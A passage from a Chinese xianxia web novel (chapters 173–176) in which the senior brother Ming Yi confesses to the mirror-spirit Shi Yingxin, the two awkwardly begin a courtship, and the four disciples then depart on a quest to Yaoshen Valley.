还是说其中有原先不存在的、但后来被人们编撰了故事,因此有了一个神的人设,于是上天就决定借名声封神,往已经挖好的萝卜坑里填萝卜呢? 就像师姐说的,觉得蜘蛛织网很神奇的贫穷人们,只能对着生活中这些不寻常但很有概率发生的小事情许愿,因此幻想世上有一个不嫌贫爱富的无私的神仙能下凡来实现他们的愿望…… 而且她合理怀疑七仙女的故事就某些无用男临死前的幻想哈,因为性格善良孝顺打动了仙女什么的……也就是这董永的父母早死了,不然七仙女下来除了给他扶贫,不还得外包他的孝心吗? 那接下来就是家庭伦理剧而不是爱情故事了…… 她越想越远,没注意到石映心又把她的小木盒拿了回去:“换月,既然是你的心意,我会好好收着的。” “哦……好,”曾换月回过神来,“对了师姐,要不把里边的蜘蛛放了吧,不然它马上就要死了。” 石映心说好啊,打开木盒将小黑蜘蛛放生,见那蜘蛛重见天日后爬得好快,不由得笑了笑:“看来世间没有生物是不崇尚自由的,就连脑子小到我都照不见的蜘蛛也知道求生。” 曾换月叹了口气道:“是啊,就怕不知道。” 要是连求生的意识都没有,那连神都没办法的。 送走小师妹后,石映心准备进屋洗漱睡觉,余光瞥到方才随手放在石桌上的红绳,回想起方才在仙鹊桥上照见的那一闪而过的剑光。 是大师兄剑意,她当然认出来了。 今日一整天没见大师兄,原来他在仙鹊桥值班啊。也是,缘来树仙鹊桥应是今年七夕最热闹的活动了,由大师兄负责看守也很正常…… 至于为什么断她的红绳,石映心觉得就是大师兄想她好好修炼,别花心思在其他事情上……她决定不去问了,就当做不知道,要不然可能又要挨一顿唠叨,大过节的何必为难自己? 石映心打了个哈欠,将断绳收了起来,回屋睡觉。 隔日。 归壹派的节日氛围散得很快,第二日便是寻常修炼忙碌的日常。 石映心照例在黑竹林练她的落雨飞花,上次在三足乌城一用,她又有了些新的感触:当时是把蕴含帝俊神力的雷通过落雨飞花劈散,降低雷的攻击力;在此之前她只把落雨飞花当做群攻招式,那会也算是灵光乍现,解了燃眉之急。 于是她想试试看能不能用别的仙法再和落雨飞花结合,比如她师父的呼风唤雨。不过怎么结合也是一个问题,她目前在试验中。 这会她正用竹叶练习,忽然感到熟悉的气息,转头一看,大师兄抱着剑踩在满地碎叶上,正不动声色地看着她。 她们小时候大师兄经常这样查岗,长大之后就少些。这情景换曾换月和顾梦真就要心虚了,哪怕其实没做什么。但石映心一般都很淡定,一是她修炼很专注,很少有偷懒的时候;二是她只在快东窗事发的时候才给面子地心虚一下。 从梵音洲回来后大师兄基本没来陪她练过剑,石映心以为他今日有空:“大师兄你来陪我练剑?” 大师兄似乎想了想:“嗯。” 石映心便提起剑来:“让你试试我的落雨飞花。” 二人像模像样地来了几回合,因为不动真章,所以也没分输赢。只是打好之后,明易和师妹说:“比先前有长进许多。” 石映心理所当然道:“这是自然,我是剑修,不会落下练剑的。” 明易道:“不止如此,你的剑招越发沉稳了,先前没打多久就想着投机取巧。” “是吗?”石映心想了想,也有些觉得,“以前大概是觉得来来回回就是这些剑招有点没意思,现在发现同样的剑招若是能更灵巧变化些,便不需要投机取巧。” 明易闻言,朝她笑道:“陈久师叔若是听到这话,心中定很欣慰。” 石映心看着他的笑容:“大师兄你也很欣慰吗?” “嗯。” 石映心“哦”了一声,挽了个剑花后开始扒拉地上的碎竹叶,风声和簌簌声中,人声莫名静止下来,仿佛自己有些话说,但又都在等着对方先开口。 “映心……” “大师兄……”二人对上视线,石映心一台下巴,“大师兄你先说。” 明易便说:“你近日……很无聊吗?” 无聊?石映心摇摇头:“不会啊,我每日都有事做。大师兄你怎么会问这个?” 明易微微侧过脸,看向边上的竹子:“我只是看你最近一个人在黑竹林练剑,想到我这几日太忙,对你……们有些疏忽。” 石映心很懂事道:“大师兄你忙你的就好,我和二师兄、换月也不是小孩子了,难道还不会自己修炼吗?” “是吗?” “嗯。” 明易沉默了一下,就在石映心以为他不会再说什么的时候,他开口道:“我还以为你太闷了,想找人说说话,所以昨日才去仙鹊桥用求友牌找好友。” 果然是这件事啊。石映心松了口气,心中有石头落地的踏实感:“原来昨天真的是大师兄你断了我的红绳。” 明易也不意外:“你果然知道了。” “我照见了。” 真有本事的一面镜子。明易琢磨她的表情,和往常一样,看不出什么特别的情绪:“既然你知道了,怎么没来问我为何这么做?” 石映心挠挠脸:“我不问也知道为什么,干嘛多此一嘴。” “你知道为什么?”大师兄听她这么说却不惊讶?这倒是让石映心惊讶了,就见大师兄露出一种无奈的表情问,“好,你说为什么?” 他的态度让石映心有些不确信:“因为你想我一心修炼。” 明易想也知道石映心会这么想,但放在以往,他确实也会这么想……或者说,他的理智会促使他这么想。这真是一个光明正大的借口,可以骗过映心,也可以骗过他自己。 可他已经做了那么幼稚的事——居然斩断了映心二十多根红绳,一二三四五根还能说是意外,二十根……真是连自己都感到过分。 但绳子已经断了。事已至此。 明易抬起眼看面前的人:“不是因为此事。” 石映心想不出更多的原因:“那是因为什么?” “暂且说不明白,”明易不清楚自己究竟是说不明白还是不敢开口,“不如……你照我。” 石映心却摇摇头道:“不照。” 明易微愣:“是我让你照的,不算你不经允许……” “不照。” 明易下意识不解:“为何?” 石映心眉头皱起,一脸不赞同:“大师兄你要说什么就用自己的嘴巴说,让我照一照算什么,图省事吗?” 明易:! 他简直如遭雷劈、犹如当头棒喝,一时僵在了原地,有种难以言喻的羞愧感,这对他来说是史无前例的,他明易怎么会是这样懦弱的小人?也许是太过恐惧,又习惯了压抑自己,想着维持现状就不错。 只是可悲地有了贪心。 而如今…… “大师兄你不说的话我要继续练剑了。” 见她转身要走,明易往前一步拉住了她的手腕,帝血剑的重量传到他手心,轻飘飘的像坠崖之人抓住的一块崖边小石头。 “映心。” 石映心看着大师兄的漂亮的眼睛,他微微皱起的认真眉眼,常常让她觉得藏了许多话,但大师兄不爱说话,更不擅长表达他内心的真实想法,故镜灵很想照,总想办法要照到。 她想照什么呢?她是觉得身边很少有大师兄这样“完美”的人,她又爱新奇,想着大师兄无懈可击的外表下一定藏着他不为人知的小秘密…… 就像大家都知道二师兄和小师妹的缺点,可谈起大师兄,怎么说也只能揪出一个“太过认真”的鸡蛋里的骨头。但石映心觉得,他既然日日带着黑镜,如此防范着她,这秘密定是很大的。 后来经过合欢宗那一回她便明白了,也许大师兄只是单纯不爱被照,和二师兄小师妹和师父不是一类人,没什么稀奇的,只是她遇见的比较少;加上她又懂事了一些,明白了不该强人所难。 于是到那时为止,石映心便不再好奇大师兄的秘密。 可应该是有的,石映心想,自从照人之术有所提升之后,她总在大师兄身上感到很不一样的感情,尤其是和他对望着,心脏上古怪的感觉就格外明显,就算不照,仿佛也将被迫得知。 比如现在。 现在望着她的、大师兄漂亮的眼睛会说话:“你知道……在合欢宗海边的那天晚上发生了什么吗?” 这事……她差点要忘了这事。石映心摇了摇头。 明易的视线微微向下转移,但很快又抬了回来,只听他尽量冷静平和的声音:“你吻了我。” 石映心刚刚看面前这张好看的脸有些出神,这下是回过神来:“我……吻了你吗?” 明易几乎感觉不到自己在呼吸:“……嗯。” 吻这个事情,即使是感情迟钝的石映心也是知道怎么回事的。她恍惚地恍然:“怪不得后来你这么生气。” 顿了顿又真诚道:“对不住你了,大师兄。” 她大师兄:…… 等等,重点不在这里。 明易一时也给她整不会了,看着她清澈的眼睛有些无措:“你怎么……你那时反应很快的……”下一瞬巴掌就上来了。 石映心:“什么反应?” 明易:“你打了我。” 又补充道:“而且是两巴掌。” 石映心闻言,看了看大师兄的左半张脸,又看了看他的右半张脸,每半张都很漂亮,她慢吞吞地有些犹豫道:“大师兄,你今日和我说这个,难道是积怨已久……想打回来吗?” 明易:…… 这一下他是真笑出来了,一瞬间想起那天晚上石映心打完他巴掌后,问的是“为什么亲我”,而不是“你是不是喜欢我”,再配上那副完全疑惑的表情,她是真的没想通。 简直拿她没办法。 大概是荒唐的心情盖过了紧张,明易盯着她,一字一句地解释道:“你吻我,是因为你照了我,是我想吻你;我想吻你,是因为我心悦你。映心,这么说你明白了吗?” 第174章 石映心也不是真傻,当然听明白了。 她了然地点了点头,总结发言:“噢,所以是……我拿你当大师兄,你却想做我的道侣……是这个意思吗?” 明易:“……是这个意思。” 但怎么用这个格式的句子一说就显得他很不道德似的。 石映心没处理过这个情况,今生第一次被人告白,回想了一下看过的话本的桥段,要么拒绝要么答应,但她完全不知该选哪个,因此犹豫道:“我明白了,然后呢?” 明易也懵:“然后……你该说你对我的心意如何。” “什么心意?” “……” 早料想到会这样,他不该意外的,但真碰到这情况了明易依旧感到头疼,还好他有准备一个办法:“映心,我想你还不太能分清道侣和师兄妹之间情感的差别,不过没事,你可以慢慢体会和分别……在那之前,我们就维持现状便好,你觉得如何?” 石映心迟疑地没点下头:“要不我去问问师父?” “……不行。” “问换月呢,她一定懂的。” “谁都不许说。”明易叮嘱她道,“你这么聪明,一定能自己想明白。这事暂且当我们二人的秘密可好?” 石映心也觉得自己挺聪明的,因此答应下来。 大师兄走后,她又在黑竹林刻意专心致志地练了会剑,稍不注意手中的剑招就会想到大师兄说心悦她的这件事,已经变成了一个未解的难题,就这么卡在她的心头,隐约有些分量。 练完剑后回到洞府休息,这下空闲了,就无法不去想这件事。 大师兄想做她的道侣。 首先把这个问题挂出来。 她知道道侣之间的感情和师兄妹之间的感情是有区别的,但究竟是怎样不同的感觉呢?难道……就是她近日和大师兄相处的时候在他身上感受到的异样情绪吗?总是如有实质一般很有存在感。 不像小师妹二师兄或者师父对她的那样,虽然有感情,却是很自在的,就像衣物穿在身上,知道它的存在却觉得理所应当、如鱼得水。 但大师兄的就……不干不净,不清不楚,黏黏糊糊的有些纠缠……却也不叫人讨厌。 这就是“心悦”的感觉? 原来是这样,她现在分清了。 可问题是…… 她照不了 自身,不知道自己对大师兄是怎样的感情啊?总之不是讨厌,但也无所谓大师兄对她是干干净净还是黏黏糊糊。 难道这个意思是……当师妹当道侣她都行? 镜灵感到一些苦恼,她拿起镜子照了照,和镜中的自己对视着,眨了几下眼睛,当然是毫无作用的。 就在她叹了口气,想将镜子放下后什么都不想直接去睡觉有什么事明天再说的时候,忽然听到一声: “蠢物。” 石映心:OO? 她摸了摸脑壳,奇怪道:“和我传密音的是谁?” 那声音哼笑一声:“你说呢?” 石映心叹了口气:“不说就不说,正巧我也烦得很。” 话毕不等对方回复,关闭了灵识中的密音通道,转身上床。 虽然心中有些事,但石映心依旧睡得很好,一觉到天明……不过倒是做了一个奇怪的梦。 早上起来时她的脑子还有点迷瞪,唯一的念头就是收拾收拾要去练剑了。等打着哈欠出门的时候,看到坐在院子中的大师兄才愣了一下,脑子里短暂地闪过昨晚的事,但还没反应过来:“大师兄?你怎么来了?” 明易把石桌上的油纸包提起来,朝她笑了笑:“你不是说想吃荷花酥,我昨日叫人捎来了,正巧今日给你做早膳。” 有这回事吗?石映心不记得了,她常常是看话本或是干什么的时候,看到有趣的、没试过的东西就会“想吃”“想玩”,其实就随口说说,很快这些小念头就会被她抛之脑后。 不过……怎么总觉得今日的大师兄看起来格外神清气爽呢?脸上的笑容都比平时要深几分。 明易可不是神清气爽吗?把话说开后他就有种“事已至此,那我就从心所欲了”这样的放肆心态;加上他这人想事情就爱往最坏的结果想,之前生怕映心不理他、甚至要断绝师兄妹关系…… 如今看师妹只是懵懂了些,既没有表现出厌恶的意思也没有想远离他,明易的心情也踏实了许多,拿着荷花酥递过去:“吃不完分点给换月。” 石映心接过来:“好,多谢你大师兄。” 明易一笑:“和我客气什么?” 石映心提着荷花酥去黑竹林练剑,休息的时候就坐下来吃一块。嘴里的荷花香伴着风带来的竹叶味,有种很清新独特的味道,让她不自觉想起早上大师兄看她的眼神。 黏黏糊糊黏黏糊糊…… 又像荷花酥一样清脆甜蜜。 中午休憩的时候她去给小师妹送荷花酥,顺便同她一起去北膳堂用膳。二人刚开动吃饭的时候大师兄也来了,坐下来问她们什么时候有时间,差不多要下山出任务了。 曾换月一撇嘴道:“大师兄,吃饭的时候就不要说这些了嘛。” 明易见小师妹有些无奈和烦躁的表情,轻笑一声:“前几回你还吵着嚷着要下山,不让你去还不肯。” “唉!”曾换月愁眉苦脸,“我可算体会到上班当牛马的苦了!要再去到像三足乌城这样奇葩恶心饭还难吃的地方,真是折磨人!你说是不是啊师姐?” 石映心也点点头说:“三足乌城不好玩。” 明易便说:“能去到好玩的自然最好,不过这并非我们能决定。” “咦?”听他这么说,曾换月诧异道,“奇了怪了,难道大师兄你不应该这么说……” 说着她脸色一板,模仿明易冷漠的口吻:“‘我们是去做任务的,不是去玩的’。哈哈哈哈,这才是大师兄的台词吧?” 明易:…… “咳,”他轻咳一声,“没有人不喜欢轻松自在,我先前这么说只是想你们端正态度罢了。” 曾换月故意问:“那现在怎么不这么说?” 明易说:“先前你们不曾下山,我身为大师兄,便想多叮嘱几句;如今快一年过去,完成了几个任务,你们心中也都有数了。” “倒也是。”曾换月抓起一个鸡腿,“不过大师兄你还是继续唠叨吧,我和师姐二师兄都很容易飘的。” “飘?” “就是得意忘形啦。” 明易心说原来你们自己知道啊。 他饭吃得很快,两个师妹还在一边吃饭一边说话呢,明易匆匆用完膳之后就说要去忙了。 等人走了之后,曾换月才反应过来:“奇了怪了,平时很少见大师兄来膳堂吃饭啊,而且离万事堂最近的不是北膳堂吧……方才大师兄吃得这么快,感觉挺忙的,他又不重食欲,平日有事干脆都不吃的。” 石映心抬眼看师妹:“你说得有理。” 曾换月摸摸下巴:“难道大师兄过来是别有所图?” “……可能就是想问我们什么时候有空下山。” 曾换月摇摇头:“不像呢,他只是提了一嘴,大部分时候就安静地听我们说话。” 石映心摸了摸鼻子:“是哦。” “嘶,他到底是来干嘛的?” “……大师兄既然不说,我们何必多想呢?” “也是。”曾换月觉得有理,甩甩脑袋,“如果是好事他肯定就说了,要是不说定不是什么好事,那不如不知道!” 石映心表示同意。 吃完饭,曾换月说要回洞府睡午觉,石映心说:“我想找你借话本。” “咦,师姐你有一段时日没看话本了吧?”曾换月笑着拉住她胳膊,“终于有兴致看啦?走吧走吧,我之前淘到几本好看的还没给你看呢。” 石映心:“嗯。” 二人到了咚咚洞,石映心在师妹的书房里看她在书格上拿了一本又一本书下来,还问她:“师姐,你想看什么类型的?” 石映心想了想:“……谈情说爱的?” 小师妹意外地看了她一眼:“难得你要看这种类型欸……你想看虐的还是甜的?” “哪种好看?” “看个人口味……我还是给你推荐甜的吧,看了心情也好些。”说着把手上三本书递给她,“这位作者写的纯爱三部曲可甜了,基本没怎么虐的。” 石映心看了看师妹手中的三本书:“三部曲?我可能没时间看这么多的。” “那你选选呗。喏,这一本是师徒恋,这一本是魔尊反派爱上我,最后一本是师兄妹恋。这些凡人写我们修仙界的爱情故事,多是这三种类型。” 她师姐就拿了第三本《师兄哪里跑》。 曾换月瞥了一眼:“没想到师姐你选了这本……” 石映心心头一突:“……怎么了?” “这本是女追男哦。”曾换月笑道,“还挺有意思的,是happyending呢。” 石映心心头凹了回来:“哦,好。” 和小师妹混久了,她知道嗨皮摁钉是快乐结局的意思。 晚上练完剑回来,石映心就窝在被窝里看那《师兄哪里跑》。虽然不知道为何这名作者把书名取得像捉妖怪似的,但她看了两章,竟然有些入迷;主要是这书里的男主(师兄)人设和大师兄有些相像。 都是“看起来高冷”“仙法高强”“闷葫芦”的类型。不过不同的是,男主对女主一开始很不爱搭理,觉得她天天无所事事,修为也很低;但她的大师兄对她很好,可能也有她修为厉害的原因? 说起来,其实小时候她觉得大师兄有些不待见她,可能是旁人都说她是“天才”的缘故吧,小师妹说她抢了大师兄的专属称号,大师兄不服气呢。 不过没过两年,大师兄似乎就不在意了。 看来是服气了。 第175章 故事前半部分写女主怎么追男主,中间写二人一起历尽磨难,最后写男主被女主的善良真诚打动,不知不觉中爱上了她……在那些亲朋好友该死的死该残的残、付出巨大代价打败大坏人之后,二人便归隐山林,做一对神仙眷侣。 石映心对嗨皮摁钉的结局要求比较高,她不喜欢有人死掉,所以不喜欢书中的大结局;由此引发了她新的介怀,如果文中的男女主或是其他配角的武功再高强点,是否就不会死这么多人了…… 所以还是要好好修炼啊。 ……等等,她看这本书不是为了想明白这个的。 子时刚过,难得熬夜的石映心把看完的《师兄哪里跑》轻轻合上,长长地吁出一口气,心中已经有了想法。 隔日早上。 虽然昨晚睡得有些迟,但平日的早起习惯还是让石映心准时醒来了。半睡半醒之中收拾好自己,推开房门的时候先是看到了早晨刺眼的阳光,而后是阳光下坐在石桌边等她的大师兄。 就和昨日一样,大师兄见她出来了就说:“给你带了早膳。” 石映心虽贪吃,但经常是吃不上早膳的,因为她还贪睡,好在修仙界没有“不用早膳对身体不好”这类说法。这两日大师兄一大早就送吃的过来,确实让她方便许多。 “多谢你,大师兄。”她走到石桌边上坐下,见大师兄起身要走,抬头问,“你吃了吗?” 明易顿了一下,又坐了下来:“还没。” “一起吃吧,大师兄。” “嗯。” 明易给她买了一袋豆浆,两个玉米牛肉煎包和两个西葫芦鸡蛋煎包。石映心分了两个包子给大师兄,一边吃一边想到小时候她被师父托付给大师兄和二师兄照顾的时候的事情。 一般来说,住二师兄那的话,隔日能不能吃到早膳是说不准的,毕竟二师兄也经常迟到,不拖累她就不错了;当时她还未辟谷,二师兄也知道,所以要是早上来不及了,就塞给她干粮馒头,一个能存一个月的那种,非常难吃。 这是她后来很快学会辟谷的主要原因,因为她宁愿吃辟谷丹也不想吃难吃的干馒头。 不过住大师兄那是顿顿有着落的,哪怕大师兄已经辟谷,但每日都会准时送她去膳堂;冬日她不愿起来的话,还会去买来给她吃。 她就一边吃着热乎乎的包子,一边看大师兄冷冰冰的脸,心里觉得他可能是嫌自己麻烦,有时候会客气地说:“麻烦你了大师兄。” 大师兄就道:“这是责任,不是麻烦。” 小镜灵:“哦。” 因为她照不到大师兄,所以那个时候把责任和麻烦划上了约等号,毕竟光看大师兄的脸会觉得他有些不高兴;但后来想了想,也许冷冰冰的只是她感到的冬日的严寒,不是大师兄的脸。 可能她先前对大师兄是有些偏见的……石映心想,毕竟想照又照不到他,一开始大家也会调侃说“来了个比明易更天才的师妹”之类的,让她觉得大师兄不是很喜欢她……不过这是石锤的,一开始的大师兄就是不爱搭理她的。 好在那会她也不觉得伤心,只是对各种情绪很新奇。 但其实不管是最先的“不待见”的时期,还是后来“待见了”的时期,以及发展到稳定的“和睦共处的师兄妹”的时期,大师兄始终是很负责地完成着他身为大师兄的事,并没有太多差别。 这样不露声色的性格才会让镜灵想照他。 像二师兄和小师妹,照一段时日之后,他们转个眼珠子她就知道这二人心里在想什么。 托了黑镜的福,她始终没搞懂大师兄,以至于昨日大师兄说“心悦”她,她确实觉得有些莫名其妙,这到底是什么时候的事呢? 不过…… 石映心想到大师兄这两日给她送早膳,和《师兄哪里跑》中女主追求男主时的送吃的好像对应上,大概这是一种“追求方式”? 原来是这样啊。 明易不觉得这是一种追求方式。他只是想着,既然已经坦诚布公了,那想见映心的时候就不必再藏着掖着。早上过来见一回,等她用午膳晚膳的时候再见一回,那来都来了,就带点她爱吃的,总不至于讨嫌。 放在平时他这么无缘无故地来,定是很可疑的。但平日他也忙,映心也要修炼,哪有大把的时间相处呢?只好这么见缝插针的。 一大早就能和映心一起吃早膳,感觉一整日都有念想了。 他正出神地看着师妹吃肉包子,忽然注意到对方也看向了自己,正回过神来要说些什么,莫名感到手背痒痒的;下意识低头一看,映心的手正搭在他的手背上,像挠痒般地给他抓了两下。 明易:OO? 这是……“我手上有虫子?” “没,”石映心把手收了回来,“就是摸摸。” 明易:OO? 他完全没搞懂是什么意思,反应过来的时候映心就说要去练剑,和他摆摆手就御剑飞走了。 明易因此事总觉得自己的手背好痒,痒了一早上,等午膳时候见到映心才好些。只是坐在她身边吃饭的时候,竟然又感到大腿上搭上了一只手,他立刻紧绷起来,全神贯注地关注着她的手要做什么…… 也只是抓了两下就拿回去了。 实在很好奇,他便和师妹传密音:“怎么了映心?” 师妹:“没,就是摸摸。” 明易:OO? 于是下午的时候明易又感到大腿很不对劲,紧张地提前完成了工事,看着还有半个时辰的时间,明易想了想,还是飞去了黑竹林打算陪她练剑。 练完剑他有些口渴,一手拿着水壶喝水的时候,猛地感到另一只手被人牵住了,他惊得呛了水,下意识把手抽了回来:“咳、咳咳咳……映心咳咳……你做、做什么?” 师妹的那只罪魁祸手还半悬在空中,一脸无辜地看着他:“没,就是牵牵手。” 明易:…… 这到底是什么意思呢? 隔日早上他继续去送早餐,坐在石桌边,忽然觉得自己的手是手,腿是腿,为何如此有存在感,仿佛每个部位都等着他找一个合适安放的位置。手要放在桌上吗?为何不放呢,被映心摸一摸又怎么了? 但昨日这样被她摸过,今日再放在桌上会不会太刻意了,似乎是在勾引映心似的,他其实并没有这样逾矩的想法…… 可也不是不想…… “大师兄。” 明易倒吸一口冷气:“怎么了?” 师妹递过来:“喝豆浆。” “……好。” 他下意识接过来喝了一口,一个念头猛地意识到什么,低头一看,手中的豆浆只剩下小半袋,他明明才喝了一口,那也就是说这是映心……喝……过……的…… 明易觉得眼前的这半袋豆浆在自己脑子里晃来晃去,唇上还留着一些湿漉的触感,到底是什么液体呢?真是无法多想。 他哗啦哗啦地站了起来,匆匆道:“我有急事先走了。” 师妹:“哦。” 然后他就提着豆浆飞走了。 今日午膳大师兄没来,晚膳也没来,等石映心晚上练完剑回到洞府休息的时候,才看到院子的灯亮着,大师兄坐在石桌边等她。 等她过去问好,才看见大师兄转来一脸苦苦的表情,很轻声地对她说:“吃过的东西最好不要再给别的男子吃。” 石映心:“什么东西?” “……豆浆。” 石映心才想起来早上的事:“我想着没喝完有些浪费,又看大师兄你吃馒头很干巴。” 原来师妹是体恤他,明易有些感动,叹了口气道:“那……多谢你的好意。” 又听她奇怪道:“而且我们都亲亲过了,再吃一样东西有什么关系呢?” 明易:?! “谁……”他头皮发麻道,“谁同你这么说的?” “话本上写的。” 明易第一反应是觉得很离谱,一时不知重点是“什么话本写这些乱七八糟的”,还是“这乱七八糟的话本映心居然信了”;但要是因此谴责她或是书,又像得了便宜还卖乖,很不识好歹。 他耐心解释道:“只有……互为道侣的人才能吃一样东西。” 师妹:“哦。” 明易无法解释更多,大晚上过来其实也就想和她说这个:“那你早些休息,我先回去了。” “大师兄,”石映心叫住他,一脸实诚道,“我想我还是很难明白道侣是怎么回事,也许我没那么聪明吧。” 明易有些惊讶她这样说,摇摇头认真道:“你很聪明,只是不擅长感情。这事不必着急,来日方长。” 石映心眉头微皱:“那要很长了。” “……嗯。” “我有个想法。”她这么说的时候,一般已经做了决定。 “什么办法?” 石映心看向她大师兄,眼中倒映着月色和院子里的灯,有些亮光:“不如我们先做道侣,我尝尝谈情说爱的滋味后再决定如何?” 明易:OO 石映心朝他迈一步:“如何?” 明易:OO? 石映心再朝他进一步:“如何,大师兄?” 明易:OO? 石映心已经到了他眼前,把他的脖子扒拉下来往他嘴上亲了一口:“大师兄?” 明易的理智和感性在他的脑子里正在激烈对打。大部分时候他完全不知道自己还有感性这东西,但此刻它却像隐世高手一般,不知去哪修炼了绝世功法,竟要占上风去。 只是新王登基也要一个借口,于情于理于道德,还要“看似无奈”。 就像师妹这时候说:“大师兄你不同意的话,那我就先去找别人试试,等我明白谈情说爱是怎么回事之后再来给你答复。” ……太荒唐了映心。 你知道自己在说什么吗? 但事已至此,他何必再坚持那该死的清高呢? 第176章 虽然谈情说爱一事是石映心未曾设想过的,但谈就谈了,对她来说也没什么需要紧张的,她对未知的新奇事物一般抱着好奇的、摸索的态度。 倒是大师兄看起来有些不适应,不过应该过段时日就好了吧?石映心对大师兄有信心。 至于要不要告诉旁人这件事,大师兄说等她“试过了”,知道了“怎么回事”,再给了他明确的“答复”之后,再考虑公开一事。 于是事情就这么荒唐地决定了。 交往之后,石映心觉得和平时并没有太大区别,不过就是见面的次数多了点,大师兄总是抽空在一些不必要的时候来找她,很多时候就待个一刻钟就走了。石映心想这不麻烦吗,但看他乐在其中,并没说什么。 她很快发现二人对“谈情说爱”一事的看法并不太相同。比如她看话本中说,谈恋爱就是要亲亲抱抱摸摸呀,但目前为止她和大师兄只拉了小手,要想亲亲也就蜻蜓点水般地一下,并没有体验到话本中形容的“激情”。 什么天旋地转、排山倒海,干柴烈火……到底是怎么回事? 甚至她大师兄被亲了之后还要说:“慢慢来。” 石映心:OO? 那好吧。 她也只是一时新奇,既然和大师兄谈情说爱不需要什么特别的改变,她也很快适应了这种有改变但不多,有异样但依旧寻常的相处方式。虽然很明显地感到大师兄对她的逐步亲近,但也不突兀。 如此……倒也算舒服。 她二师兄小师妹师父等人都没发现异常,甚至连石映心本人渐渐地便没将此事刻意放在心上。 * 酷暑的日子过去后,他们便打算下山做任务去了。这回是小师妹去请的因果牌,几人站在万事堂门口,见她欢欢喜喜蹦蹦跳跳地出来了,脸上笑逐颜开,感觉发生了什么好事? 等她一走进,顾梦真就迫不及地问:“笑得这么开心,任务很简单?” “任务还没去做呢,怎么知道简单不简单,”曾换月瞥他一眼,把手中的牌子举起来,“不过这次终于不是难解的诗词了!啧啧,还得是我!” 被难解的诗词折腾过好机会的师兄妹四人闻言都挺高兴,定睛她手中的因果牌一看,只见上头写着八个字: 【开天辟地,石破天惊】 提示是【药神谷,屠芜】 “药神谷?”这下重点已经不在分析八个字了,顾梦真张了张嘴,“啊,要去药神谷吗?” 明易大概理解师妹师弟的心情:“有因果牌做信物,药神谷不至于不配合我们。” “不过也不会给什么好脸色罢了。”曾换月嘟囔了一句,“咦,师姐,这个屠芜是不是在摘星大会上和你交过手的那个女道友啊?” 石映心颔首道:“是她,她的毒药丸能让人失去最厉害的功法。” 曾换月说:“她穿得绿油油的,看起来不是很难相处。” 顾梦真便问:“那穿什么颜色看起来不好相处?” 曾换月翻白眼:“穿我这样的!” 虽说这次是要去和她们归壹派有些芥蒂的药神谷,但四人的心态还算放松,嘴头上说两句有些烦恼的话,其实没怎么往心里去。 甚至石映心还这么说:“药神谷看不惯我们,却依旧要服从因果牌的指引,最难受的其实是他们。” 曾换月拍手道:“哈哈哈哈!就喜欢别人看不惯还干不掉我们的憋屈!” 二人这么一说还高兴上了呢。 顾梦真怼怼明易道:“大师兄,你看她们这么得意忘形也不管管?” 明易不以为意道:“高兴地去总比垂头丧气地去好。” 顾梦真想了想:“那倒也是啦。” 得知她们要去药神谷,金花仙尊很快找到慕雲的洞府,说是有些事想要劳烦她的徒弟们。慕雲一问,主要是想让明易他们帮忙捉些蛇虫、摘些草药回来,能搞多少搞多少,并不强求,到时她必有重报。 慕雲一想,这不就是顺手的事吗?路上走走瞧见了就捉一只摘一株呗,没瞧见就算了,金花仙尊又不勉强,于是先替徒弟们答应下来。后来和明易等人说了声,几人果真也是抱着“赚外快”的心态乐呵呵地答应了。 临行前,金花仙尊将名目清单送来,竟是一本册子,有些小分量;跟着送来的还有两个她专门找器修定制的储物袋,里头划分了许多专门的区域,让蛇虫和花草都能住单间。 曾换月把清单翻了翻,感叹道:“这么多种类吗……这是要我们去进货啊!” 顾梦真在边上看得双眼发直:“感觉路上随便遇到什么都在单子里头,这回肯定赚。” 慕雲见某人眼里都放光了,严肃叮嘱道: “金花仙尊提醒过,这单子里的大多数物种都有毒,尤其是那些虫蛇,捕捉时千万要小心,捉后立即放入储物袋中,不可随意拿出来玩弄;还有这些花草,切勿用手直接触碰,要么戴手衣要么用法术取,不然小心毒你们个措手不及。” “最重要的是,这册子里头的物种你们都要先过目一遍,金花仙尊仔细标注了特别需要注意的事项,没想你们全记得,但在摘取花草和捉虫蛇之前一定要先看一遍……” 慕雲仔细说了一通,见四人都是睁着大眼睛有听的模样,但个人有个人的德行,她干脆把清单册子和储物袋全放在明易手上,让其他人没明易允许别伸那贱手,得了大徒弟的保证后,如此才算放心一些。 “虽然我们归壹派与药神谷有芥蒂一事已然众所皆知,但表面功夫还是要做的,如此他们也没道理为难你们。这一去入了人家的地盘,一切要小心行事;不准得寸进尺、给脸不要脸。听明白了吗?” “听明白了师父!” “明易。”慕雲叹了口气,看向大徒弟,语重心长道,“这三个不省心的就交给你了。” 明易稳重点头,一脸靠谱道:“好,放心吧师父。” 小师妹:“什么意思啊师父,我也没有很不省心吧?” 二师弟:“师父你对我还是有刻板印象,怎么说我也是二师兄啊,不要再把我算进去了好嘛……” 三师妹:“我听晴雯师姐说蛇和虫都是能吃的,师父你要吃吗?” “……” 慕雲:好吵啊赶紧滚吧。 时辰已到,出发药神谷! * 归壹派驿站==> ==>药神谷驿站 听说药神洲山林众多,风景很不错,瓜果蔬菜又丰富又便宜,还有许多其他、洲没有的特产吃食,真是一听就叫人垂涎三尺。 从药神谷驿站出来,入眼便是开阔的湖景,蓝天白云下有山色,看着很神清气爽。这附近似乎不是百姓集中居住的村落城镇,没看见多少房屋,但边上就是一条热闹的街道,摆满了各色的摊位,人头攒动。 顾梦真盯着那边说:“还不知道药神谷在哪,正好肚子也饿了,去吃点东西顺便问问消息吧?” 明易瞅了眼就立在驿站边上的、写着“药神谷往此处走”的木牌,没说话。 曾换月咽了下口水:“要是等会去了药神谷,他们不乐意招待我们,那就要饿肚子了!” 明易:……辟谣,辟谷之后的修士不会再饿肚子。 石映心有些烦恼道:“听说这里有很多特产吃食,我们来这几日会不会吃不过来呢?” 这不是需要担心的事,映心。 “不能耽误太久,”明易对三人道,“天黑之前要到药神谷。” “好耶!” 还未走到摊位前,忽然见热闹的人群里走出两个眼熟的粉色门服的道友,正是合欢宗的弟子,双方打了个照面,虽然不认识,但大概因为都在异乡,竟有些熟络地寒暄起来。 “你们归壹派也会来药神谷做任务啊?”“是啊是啊。”“哈哈哈那要多保重了。”“多谢多谢。”……诸如此类。 这两位合欢宗的弟子临走前还好心提醒四人: “我俩算是发现了,这条街就是专门宰我们这些外乡人的!这边上不只是有驿站,还有几条从外地来洲城的路,所以大部分外乡人来药神洲都会路过这里,多数要花点钱,吃点特产什么的。可这条街的价格要比洲城里的贵不少呢。” 